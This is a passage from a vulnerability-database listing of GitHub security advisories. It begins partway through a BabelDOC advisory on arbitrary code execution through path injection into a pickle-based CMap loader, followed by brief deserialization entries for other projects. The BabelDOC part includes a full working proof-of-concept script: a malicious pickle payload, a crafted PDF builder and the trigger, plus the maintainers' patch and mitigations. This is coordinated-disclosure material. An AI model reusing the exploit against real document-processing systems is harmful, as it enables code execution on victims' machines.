`babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84\u201394` \u2014 font resources converted to `PreparedFontSpec`.\n8. `babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21\u201335` \u2014 page resource bundle resolves root font map.\n9. `babeldoc/format/pdf/new_parser/active_font_runtime.py:79\u201387` \u2014 each font spec projected and passed to `font_factory.create_font`.\n10. `babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291\u2013292, 491\u2013493` \u2014 CID fonts call `build_cid_cmap(spec, literal_name=literal_name)`.\n11. `babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52\u201377` \u2014 PDF-controlled `/Encoding`/`CMapName` normalized and passed to `CMapDB.get_cmap`. `_normalize_cmap_name()` removes only a single leading `/`; all other path characters pass through.\n12. `babeldoc/pdfminer/cmapdb.py:233\u2013245` \u2014 **sink**: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with `pickle.loads()`.\n\n**Sanitization gaps:**\n\n- `name.replace(\"\\0\", \"\")` removes only the NUL byte; `..`, `/`, `\\`, and hex-decoded path separators are unaffected.\n- There is no `os.path.realpath()`, `os.path.abspath()`, or `os.path.commonpath()` containment check before the file is opened.\n- There is no allowlist of known CMap names nor any integrity verification of the pickle data.\n\n**Recommended patch** (`babeldoc/pdfminer/cmapdb.py`):\n\n```diff\n--- a/babeldoc/pdfminer/cmapdb.py\n+++ b/babeldoc/pdfminer/cmapdb.py\n@@\n         cmap_paths = (\n             os.environ.get(\"CMAP_PATH\", \"/usr/share/pdfminer/\"),\n             os.path.join(os.path.dirname(__file__), \"cmap\"),\n         )\n         for directory in cmap_paths:\n-            path = os.path.join(directory, filename)\n+            base_dir = os.path.realpath(directory)\n+            path = os.path.realpath(os.path.join(base_dir, filename))\n+            try:\n+                if os.path.commonpath([base_dir, path]) != base_dir:\n+                    continue\n+            except ValueError:\n+                continue\n             if os.path.exists(path):\n                 gzfile = gzip.open(path)\n```\n\nA more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.\n\n### PoC\n\n**Environment setup (Docker \u2014 recommended for isolation):**\n\n```bash\n# From the repository root\ndocker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .\ndocker run --rm vuln-001-babeldoc-cmap\n```\n\n**Manual setup (local venv):**\n\n```bash\npython3 -m venv /tmp/babeldoc-poc-venv\nsource /tmp/babeldoc-poc-venv/bin/activate\npip install freetype-py==2.5.1 charset-normalizer cryptography\nexport PYTHONPATH=/path/to/BabelDOC\npython3 poc.py\n```\n\n**PoC script (`poc.py`) \u2014 key steps:**\n\n```python\nimport gzip, pathlib, pickle, sys\n\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF    = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE       = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n# Step 1 \u2014 write the malicious pickle to a world-writable location\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (pathlib.Path(str(PROOF_FILE)).write_text,\n                (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",))\n\nCMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\nwith gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n    pickle.dump(MaliciousPayload(), fh)\n\n# Step 2 \u2014 craft a PDF whose /Encoding name hex-encodes the absolute path\n# \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to \"/tmp/babeldoc-cmap-poc/malicious\"\nencoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...\n# Full source in poc.py\n\n# Step 3 \u2014 trigger via the pdfminer high-level API\nfrom babeldoc.pdfminer.high_level import extract_text\ntry:\n    extract_text(str(MALICIOUS_PDF))\nexcept TypeError:\n    pass  # expected: type(name, (), \u003cint\u003e) fails after write_text returns int\n\n# Step 4 \u2014 verify\nassert PROOF_FILE.exists(), \"FAIL: proof file not created\"\nprint(PROOF_FILE.read_text())  # =\u003e \"RCE_CONFIRMED: pickle.loads executed attacker payload\"\n```\n\n**Phase 2 dynamic reproduction output (Docker container):**\n\n```\n[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz\n[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf\n[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...\n[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int\n[*] This exception is expected; the payload ran before it.\n\n============================================================\nRESULT: PASS\nProof file: /tmp/babeldoc_cmap_rce_proof.txt\nContent:    \u0027RCE_CONFIRMED: pickle.loads executed attacker payload\u0027\n============================================================\n```\n\nThe `TypeError` is benign and expected: `write_text()` returns an integer, and the subsequent `type(name, (), \u003cint\u003e)` call in `_load_data()` raises before reaching further code. The payload already executed successfully at that point.\n\n**Attack path summary:**\n\n```\nPDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\n  -\u003e pdfminer hex-decodes #2F -\u003e \u0027/\u0027\n  -\u003e literal_name = \"/tmp/babeldoc-cmap-poc/malicious\"\n  -\u003e CMapDB._load_data(\"/tmp/babeldoc-cmap-poc/malicious\")\n  -\u003e filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"   # absolute path!\n  -\u003e os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n     == \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"           # first arg discarded\n  -\u003e gzip.open() + pickle.loads() -\u003e arbitrary code execution\n```\n\n### Impact\n\nThis is an **Arbitrary Code Execution** vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.\n\n**Who is impacted:**\n\n- **End users** who open a malicious PDF with the `babeldoc` CLI or any application embedding BabelDOC\u0027s PDF translation/text-extraction functionality.\n- **Automated document processing pipelines** (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.\n\n**Attack prerequisites:**\n\n1. The attacker must be able to place a `.pickle.gz` file at a predictable path on the local filesystem (e.g., `/tmp/`), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.\n2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required \u2014 default PDF processing is the vulnerable code path.\n\n**Scope:** The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user\u0027s process), justifying the **Changed** scope in the CVSS vector and potential lateral movement between users on multi-user systems.\n\n**Consequences:** Full code execution with the victim process\u0027s privileges \u2014 confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system-level dependencies for freetype\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    libfreetype6 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Install minimal Python dependencies required by babeldoc/pdfminer\nRUN pip install --no-cache-dir \\\n    freetype-py==2.5.1 \\\n    charset-normalizer \\\n    cryptography\n\n# Copy the BabelDOC repository (only babeldoc package directory is needed)\nCOPY repo/babeldoc /app/babeldoc\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nWORKDIR /app\n\n# PYTHONPATH exposes babeldoc package without a full pip install\nENV PYTHONPATH=/app\n\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: CMap Pickle Deserialization via Absolute Path Injection\nCVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2\n\nVulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes\nfrom the CMap name before building a filesystem path.  A PDF name object\nusing #xx hex-encoding can inject absolute path characters (/) so that\nos.path.join() discards the trusted cmap directory entirely, opening and\nunpickling an attacker-placed .pickle.gz file.\n\nAttack flow:\n  PDF /Encoding  /#2Ftmp#2F...#2Fmalicious\n    -\u003e pdfminer hex-decodes #2F -\u003e \u0027/\u0027\n    -\u003e literal_name() returns \"/tmp/.../malicious\"\n    -\u003e _load_data(\"/tmp/.../malicious\")\n    -\u003e filename = \"/tmp/.../malicious.pickle.gz\"   (absolute path!)\n    -\u003e os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n       == \"/tmp/.../malicious.pickle.gz\"            (Python discards first arg)\n    -\u003e gzip.open() + pickle.loads() =\u003e arbitrary code execution\n\"\"\"\n\nimport gzip\nimport os\nimport pathlib\nimport pickle\nimport sys\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n\n# ---------------------------------------------------------------------------\n# Step 1: Build the malicious pickle payload\n# ---------------------------------------------------------------------------\nclass MaliciousPayload:\n    \"\"\"Pickle payload that writes a proof file on deserialization.\"\"\"\n\n    def __reduce__(self):\n        # Write proof file when unpickled; any writable command works here.\n        return (\n            pathlib.Path(str(PROOF_FILE)).write_text,\n            (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",),\n        )\n\n\ndef create_malicious_pickle():\n    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\n    PROOF_FILE.unlink(missing_ok=True)\n\n    with gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n        pickle.dump(MaliciousPayload(), fh)\n\n    print(f\"[+] Malicious pickle written: {MALICIOUS_PICKLE}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 2: Build the malicious PDF\n# ---------------------------------------------------------------------------\ndef create_malicious_pdf():\n    \"\"\"\n    Craft a minimal PDF with a Type0 CID font whose /Encoding name is a\n    PDF literal that hex-encodes an absolute Unix path.\n\n    PDF name syntax: /\u003ccharacters\u003e  where #xx is hex escape for byte 0xxx.\n    \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to the name value\n    \"/tmp/babeldoc-cmap-poc/malicious\" (starts with \u0027/\u0027).\n\n    When passed through babeldoc/pdfminer:\n      literal_name(PSLiteral) -\u003e \"/tmp/babeldoc-cmap-poc/malicious\"\n      _load_data()  -\u003e filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"\n      os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n        =\u003e \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"  (absolute wins!)\n    \"\"\"\n    # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious\n    # \u0027#2F\u0027 = \u0027/\u0027 in PDF name hex encoding\n    encoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n    content_stream = b\"BT\\n/F1 12 Tf\\n100 700 Td\\n(Malicious PDF) Tj\\nET\\n\"\n\n    # PDF objects (1-indexed)\n    objs = [\n        # 1: Catalog\n        b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\",\n        # 2: Pages\n        b\"\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\",\n        # 3: Page - references content stream (4) and font (5)\n        b\"\u003c\u003c /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\"\n        b\" /Contents 4 0 R /Resources \u003c\u003c /Font \u003c\u003c /F1 5 0 R \u003e\u003e \u003e\u003e \u003e\u003e\",\n        # 4: Content stream\n        b\"\u003c\u003c /Length %d \u003e\u003e\\nstream\\n\" % len(content_stream)\n        + content_stream\n        + b\"\\nendstream\",\n        # 5: Type0 font with malicious /Encoding name\n        b\"\u003c\u003c /Type /Font /Subtype /Type0 /BaseFont /MalFont\"\n        b\" /Encoding \" + encoding_name + b\"\"\n        b\" /DescendantFonts [6 0 R] \u003e\u003e\",\n        # 6: CIDFontType2 descendant\n        b\"\u003c\u003c /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont\"\n        b\" /CIDSystemInfo \u003c\u003c /Registry (Adobe) /Ordering (Identity)\"\n        b\" /Supplement 0 \u003e\u003e /FontDescriptor 7 0 R \u003e\u003e\",\n        # 7: FontDescriptor (minimal)\n        b\"\u003c\u003c /Type /FontDescriptor /FontName /MalFont /Flags 4\"\n        b\" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0\"\n        b\" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 \u003e\u003e\",\n    ]\n\n    buf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for i, obj_data in enumerate(objs, 1):\n        offsets.append(len(buf))\n        buf += f\"{i} 0 obj\\n\".encode() + obj_data + b\"\\nendobj\\n\"\n\n    xref_offset = len(buf)\n    buf += f\"xref\\n0 {len(objs) + 1}\\n0000000000 65535 f \\n\".encode()\n    for off in offsets:\n        buf += f\"{off:010d} 00000 n \\n\".encode()\n    buf += (\n        f\"trailer\\n\u003c\u003c /Size {len(objs) + 1} /Root 1 0 R \u003e\u003e\\n\"\n        f\"startxref\\n{xref_offset}\\n%%EOF\\n\"\n    ).encode()\n\n    MALICIOUS_PDF.write_bytes(bytes(buf))\n    print(f\"[+] Malicious PDF written: {MALICIOUS_PDF}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text\n# ---------------------------------------------------------------------------\ndef trigger_exploit():\n    from babeldoc.pdfminer.high_level import extract_text\n\n    print(f\"[*] Calling extract_text({MALICIOUS_PDF}) ...\")\n    try:\n        result = extract_text(str(MALICIOUS_PDF))\n        print(f\"[+] extract_text completed, returned {len(result)} chars\")\n    except Exception as exc:\n        # A TypeError is expected: after pickle.loads() returns the result of\n        # write_text() (an int), the code tries type(name, (), \u003cint\u003e) which\n        # raises TypeError.  The write has already happened at this point.\n        print(f\"[*] extract_text raised {type(exc).__name__}: {exc}\")\n        print(\"[*] This exception is expected; the payload ran before it.\")\n\n\n# ---------------------------------------------------------------------------\n# Step 4: Verify RCE evidence\n# ---------------------------------------------------------------------------\ndef verify_rce():\n    if PROOF_FILE.exists():\n        content = PROOF_FILE.read_text()\n        print()\n        print(\"=\" * 60)\n        print(\"RESULT: PASS\")\n        print(f\"Proof file: {PROOF_FILE}\")\n        print(f\"Content:    {content!r}\")\n        print(\"=\" * 60)\n        return True\n    else:\n        print()\n        print(\"=\" * 60)\n        print(\"RESULT: FAIL\")\n        print(f\"Proof file {PROOF_FILE} was NOT created.\")\n        print(\"=\" * 60)\n        return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n    print(\"=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===\")\n    print(f\"Python: {sys.version}\")\n    print()\n\n    create_malicious_pickle()\n    create_malicious_pdf()\n    trigger_exploit()\n    success = verify_rce()\n\n    sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n---\n\n## Notes from the maintainer\n\n### CVSS revision note\n\nThe CVSS v3.1 vector has been revised from the reporter\u0027s initial\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` (8.6) to\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (7.8) on maintainer\nreview. The severity rating remains **High**.\n\nOne metric is revised; the remaining metrics (`AV:L`, `AC:L`, `PR:N`,\n`UI:R`, `C:H/I:H/A:H`) are unchanged from the reporter\u0027s assessment.\n\n- **Scope: Changed \u2192 Unchanged.** BabelDOC is a PDF-processing\n  library running with the caller process\u0027s operating-system\n  permissions; it does not enforce a separate security authority over\n  OS files, users, or downstream services. The malicious pickle\n  payload executes in that same BabelDOC Python process. Under CVSS\n  v3.1, this is Scope Unchanged: the vulnerable component and the\n  impacted component are governed by the same authority. No sandbox,\n  VM, browser-client, or application-defined authorization boundary\n  is crossed.\n\nThe remaining metrics are retained intentionally:\n\n- `AV:L`, `PR:N`, `UI:R`: the attack requires local presence of\n  attacker-influenced data (consistent with `AV:L`), does not require\n  authenticated access to BabelDOC itself (`PR:N`), and depends on a\n  user actually processing the crafted PDF (`UI:R`).\n- `AC:L`: kept aligned with industry practice for CWE-502\n  deserialization issues; once the supporting filesystem condition\n  exists, the same-process exploitation path is consistent and\n  repeatable.\n- `C:H`, `I:H`, `A:H`: full code-execution impact within the\n  BabelDOC process.\n\nWe thank EQSTLab for the detailed report and PoC; this revision is\nlimited to CVSS metric interpretation, and the issue remains High\nseverity when exploitable.\n\n### Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)\n\nThe original report covers entry point (1): the `Encoding` / `CMapName`\nfont dictionary path, with absolute-path injection. Local review during\npatch preparation identified that the same `_load_data` sink is reached\nfrom one additional independently exploitable PDF-controlled path and\ntwo prefixed call sites covered at the sink for defense in depth:\n\n1. `Encoding` / `CMapName` references in a font dictionary\n   *(reported entry; absolute-path injection per the upstream report,\n   `..` relative traversal also exploitable)*\n2. The PostScript `usecmap` operator inside an embedded CMap stream\n   *(independently exploitable via `..` relative traversal; not in the\n   original report)*\n3. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n   legacy pdfminer pipeline\n4. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n   active new-parser pipeline\n\nCall sites (3) and (4) were not reproduced as standalone PDF-only\nexploit paths in v0.6.x. The `get_unicode_map` caller prepends a\n`to-unicode-` prefix to the PDF-controlled name, which breaks\nabsolute-path injection and means `..` traversal would require an\nadditional crafted directory layout such as a `to-unicode-*`\ncomponent under a CMap search location. The 0.6.3 sink-level fix\nstill covers these call sites, so future removal of the prefix or\na future unprefixed caller remains blocked.\n\n### Fix design\n\nThe runtime CMap loader in 0.6.3 refuses to deserialize any file that\ndoes not simultaneously:\n\n1. appear in a pinned manifest of bundled CMap filenames (allowlist),\n2. resolve inside the bundled `runtime/data/cmap` directory after path\n   resolution (containment check), and\n3. byte-for-byte match the manifest\u0027s pinned byte size and SHA-256.\n\nThe integrity check runs on the compressed on-disk `.gz` bytes before\ndecompression, so files whose compressed size or SHA-256 differs from\nthe pinned manifest are rejected before `gzip` or `pickle` sees them.\nThe legacy `CMAP_PATH` external search path is removed entirely; only\nthe bundled directory is consulted. The active new-parser pipeline\nand the vendored pdfminer pipeline share the same verified-load entry\npoint.\n\n### Related hardening shipped in 0.6.3\n\nA separate hardening in the same release sanitizes PDF-controlled\nXObject names before they reach the optional `ImageWriter` output\npath, preventing PDF-driven writes outside the configured output\ndirectory. This is separate from BabelDOC\u0027s default translation\npipeline: the optional `ImageWriter` is not used by default and is\nonly reachable when a third-party caller passes an explicit\n`output_dir`. It is included here for completeness.\n\n### Risk reduction if you cannot upgrade immediately\n\nThese steps reduce known exploit preconditions on pre-0.6.3 versions;\nthey are not equivalent to the 0.6.3 fix.\n\n- Do not set the `CMAP_PATH` environment variable when running\n  BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3\n  versions, unsetting it limits the attack surface to the bundled\n  cmap directory under the BabelDOC package.\n- Run BabelDOC under an account that cannot create files in any\n  directory BabelDOC will read CMap data from, including any\n  pre-0.6.3 `CMAP_PATH` target.\n- Process only PDFs from trusted sources until upgrading.\n\n### Maintenance policy\n\nBabelDOC publishes security fixes only in the latest release. We do\nnot publish maintainer-supported backports for older minor, patch, or\nrelease lines. For this advisory, the maintainer-supported fixed\nversion is 0.6.3 or later; downstream distributors may carry their\nown patches, but older BabelDOC releases will not receive a separate\nupstream backport.\n\n### Acknowledgements\n\nWe thank **EQSTLab** for the detailed private report, complete\nreproduction material, and coordinated-disclosure cooperation that\nallowed this fix to be prepared and released before public\ndisclosure.\n\n### Timeline\n\n- 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and\n  notifies maintainers\n- 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix\n- 2026-06-03 09:50 UTC: this advisory published\n- TBD: CVE identifier assigned (pending GitHub CNA review; GitHub\n  documentation says CVE requests are usually reviewed within 72\n  hours)\n\n### References\n\n- BabelDOC 0.6.3 release notes:\n  https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md\n- CVE: TBD (pending CNA assignment)",
  "id": "GHSA-m8gf-v64p-gfmg",
  "modified": "2026-07-10T19:32:44Z",
  "published": "2026-07-10T19:32:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/funstory-ai/BabelDOC/security/advisories/GHSA-m8gf-v64p-gfmg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/funstory-ai/BabelDOC"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py"
}

GHSA-M8HV-934H-RRX4

Vulnerability from github – Published: 2023-10-16 09:30 – Updated: 2024-04-04 08:39
VLAI
Details

The Read More & Accordion WordPress plugin before 3.2.7 unserializes user input provided via the settings, which could allow high-privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-3392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-16T09:15:10Z",
    "severity": "HIGH"
  },
  "details": "The Read More \u0026 Accordion WordPress plugin before 3.2.7 unserializes user input provided via the settings, which could allow high-privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.",
  "id": "GHSA-m8hv-934h-rrx4",
  "modified": "2024-04-04T08:39:44Z",
  "published": "2023-10-16T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3392"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/1e733ccf-8026-4831-9863-e505c2aecba6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M8PM-M9CW-WJQH

Vulnerability from github – Published: 2026-05-01 18:31 – Updated: 2026-05-01 18:31
VLAI
Details

Unsafe deserialization vulnerability in MixPHP Framework 2.x thru 2.2.17. The sync-invoke TCP server (Server.php:87) receives data from a TCP socket, passes it directly to Opis\Closure\unserialize(), then executes the result via call_user_func(). No authentication or signature verification exists on the TCP connection. An attacker with access to the localhost TCP port (server binds 127.0.0.1) can send a crafted serialized PHP closure to achieve arbitrary code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-37552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-01T16:16:30Z",
    "severity": "HIGH"
  },
  "details": "Unsafe deserialization vulnerability in MixPHP Framework 2.x thru 2.2.17. The sync-invoke TCP server (Server.php:87) receives data from a TCP socket, passes it directly to Opis\\Closure\\unserialize(), then executes the result via call_user_func(). No authentication or signature verification exists on the TCP connection. An attacker with access to the localhost TCP port (server binds 127.0.0.1) can send a crafted serialized PHP closure to achieve arbitrary code execution.",
  "id": "GHSA-m8pm-m9cw-wjqh",
  "modified": "2026-05-01T18:31:24Z",
  "published": "2026-05-01T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-37552"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/sgInnora/fa46386840fe978a30d7e53c458f2975"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mix-php/mix"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mix-php/mix/blob/v2.2.17/src/sync-invoke/src/Server.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M8WH-MQGF-RR8G

Vulnerability from github – Published: 2021-10-12 17:50 – Updated: 2021-10-12 16:59
VLAI
Summary
Code injection in Kubernetes Java Client
Details

Loading specially-crafted yaml with the Kubernetes Java Client library can lead to code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.kubernetes:client-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-25738"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-12T16:59:26Z",
    "nvd_published_at": "2021-10-11T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Loading specially-crafted yaml with the Kubernetes Java Client library can lead to code execution.",
  "id": "GHSA-m8wh-mqgf-rr8g",
  "modified": "2021-10-12T16:59:26Z",
  "published": "2021-10-12T17:50:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25738"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes-client/java/issues/1698"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubernetes-client/java"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/kubernetes-security-announce/c/K_pOK2WbAJk"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/08/23/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code injection in Kubernetes Java Client"
}

GHSA-M964-FJRH-XXQ2

Vulnerability from github – Published: 2025-06-28 21:30 – Updated: 2026-03-30 20:30
VLAI
Summary
Apache Seata Vulnerable to Deserialization of Untrusted Data
Details

Deserialization of Untrusted Data vulnerability in Apache Seata (incubating).

This security vulnerability is the same as CVE-2024-47552, but the version range described in the CVE-2024-47552 definition is too narrow. This issue affects Apache Seata (incubating): from 2.0.0 before 2.3.0.

The Apache Seata security team assesses the severity of this vulnerability as "Low" due to stringent real-world mitigating factors. First, the vulnerability is strictly isolated to the Raft cluster mode, an optional and non-default feature introduced in v2.0.0, while most users rely on the unaffected traditional architecture. Second, Seata is an internal middleware; communication between TC and RM/TM occurs entirely within trusted internal networks. An attacker would require prior, unauthorized access to the Intranet to exploit this, making external exploitation highly improbable.

Users are recommended to upgrade to version 2.3.0, which fixes the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.seata:seata-config-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-30T21:09:11Z",
    "nvd_published_at": "2025-06-28T19:15:21Z",
    "severity": "LOW"
  },
  "details": "Deserialization of Untrusted Data vulnerability in Apache Seata (incubating).\n\nThis security vulnerability is the same as CVE-2024-47552, but the version range described in the CVE-2024-47552 definition is too narrow.\nThis issue affects Apache Seata (incubating): from 2.0.0 before 2.3.0.\n\nThe Apache Seata security team assesses the severity of this vulnerability as \"Low\" due to stringent real-world mitigating factors. First, the vulnerability is strictly isolated to the Raft cluster mode, an optional and non-default feature introduced in v2.0.0, while most users rely on the unaffected traditional architecture. Second, Seata is an internal middleware; communication between TC and RM/TM occurs entirely within trusted internal networks. An attacker would require prior, unauthorized access to the Intranet to exploit this, making external exploitation highly improbable.\n\nUsers are recommended to upgrade to version 2.3.0, which fixes the issue.",
  "id": "GHSA-m964-fjrh-xxq2",
  "modified": "2026-03-30T20:30:52Z",
  "published": "2025-06-28T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/incubator-seata/commit/20cd9625d23f99b71fefc83b8db96c14092a9950"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/incubator-seata"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/9fhtf7yvpjpzlwd1m0wfgg6tp2btxpy1"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47552"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Apache Seata Vulnerable to Deserialization of Untrusted Data"
}

GHSA-M967-245F-HFCW

Vulnerability from github – Published: 2025-03-05 12:31 – Updated: 2025-03-05 12:31
VLAI
Details

